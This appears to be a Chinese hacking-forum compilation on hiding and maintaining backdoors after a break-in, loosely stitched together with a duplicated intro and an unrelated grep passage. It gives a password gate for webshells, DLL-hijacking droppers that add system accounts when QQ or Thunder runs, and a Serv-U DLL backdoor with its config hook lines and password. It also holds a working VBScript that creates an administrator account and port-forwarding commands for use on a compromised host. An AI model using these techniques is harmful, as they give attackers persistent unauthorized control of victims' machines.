Web后门隐藏与维持


前言
在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后门隐藏的一些思路做科普.
在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后门隐藏的一些思路做科普.
grep (global search regular expression(RE) and print out the line,全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。Unix的grep家族包括grep、egrep和fgrep。
利用grep命令我们可以查找常见的漏洞、webshell和其他恶意文件。本文使用的grep版本为2.9,如果你使用一个低于2.5.4的grep,那本片文章中的一些命令可能无法正常工作。可以用grep -v或grep -version确定一下版本。你也可以使用grep –help查看更多信息。如下图:
好多朋友都拿的有webshell吧,基本上都加了密的…
可是,没见到源码,很难测试它到底有没有后门, 指不定给别人打工了…
下面贴种很简单的方法,大家别扔蛋哈 (ASP的哦)
在代码的最前面插入:
<%if request(“xxx”)=”123″ then session(“xxx”)=”123″
if session(“xxx”)<>”123″ then ()%>
就这么简单, 登webshell时别忘了在webshell地址后面加 ?xxx=123
XXX 和 123 可以随便替换的
这样…就算加后门的人知道了后门地址和密码,打开它时也只是个空白的网页
上传到sougou目录,注意不要改名字。等待该目录有文件联网的时候就自动添加系统账号了。
使用方法:把此文件放到QQ 迅雷 BT 等工具的同目录下。运行后会导致系统执行创建用户
需要创建的用户名和密码可以十六进制修改。
Ps:
一个程序的启动它会调用很多dll或者ocx组件,但是他是有一个顺序的。
比如这个迅雷,他启动时会调用Ws2Help.dll这个组件,
一般的情况,这个组件是我们的windows默认就有的
但是程序调用组件有这样一个顺序,他会首先在程序所在的文件夹寻找,如果没有他就再去系统目录寻找这个组件。
这个就是利用这个顺序差的原因来利用的。在迅雷启动时他就会启动这个目录的组件,而不去系统查找了。
去年流行的“犇牛”也是这样的,他是利用的usp10.dll。
而这里利用的是Ws2Help.dll
下载:
安装方法:
将DLL放到Serv-U 安装目录下.
打开安装目录下的: ServUDaemon.ini 文件,在最后部分加入3行:
[EXTERNAL]
ClientCheckDLL1=Serv-U.dll
EventHookDLL1=Serv-U.dll
===================================
重启 Serv-U 服务.
===================================
连接方法:
命令行 连接FTP,用户名随意.密码1234567
===================================
备注:修复一个错误,要执行的命令行太长可能会导致SERV-U出错。
同时兼容了FTP客户端软件可以连接,浏览、删除、上传 任意目录的文件。
真正的无net加系统用户能用的脚本。当我们遇到提权的时候,nc反弹提权的时候,管理员把net1和net给禁用了,我们可以上传一个脚本,做到真正的无net加系统用户。脚本代码如下:
struser=wscript.arguments(0)
strpass=wscript.arguments(1)
set lp=createObject(“WSCRIPT.NETWORK”)
oz=”WinNT://”&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&”/Administrators,group”)
Set od=ob.create(“user”,struser)
od.SetPassword strpass
od.SetInfo
Set of=GetObject(oz&”/” & struser & “,user”)
oe.Add(of.ADsPath)
For Each admin in oe.Members
if struser=admin.Name then
Wscript.echo struser & ” 建立成功!”
wscript.quit
end if
Next
Wscript.echo struser & ” 用户建立失败!”
保存以上代码为 user.vbs 用法:cscript user.vbs 用户 密码
作者:gaohui
mylcx -listen 这个命令跟lcx一样
mylcx -slave 本机端口 远程ip 远程端口
即把本机端口映射到远程ip的一个端口上
在本机执行:mylcx -listen 5000 21
在肉鸡上执行:mylcx -slave 21 你的ip 5000
然后连接ftp 127.0.0.1 就可以登录远程的ftp了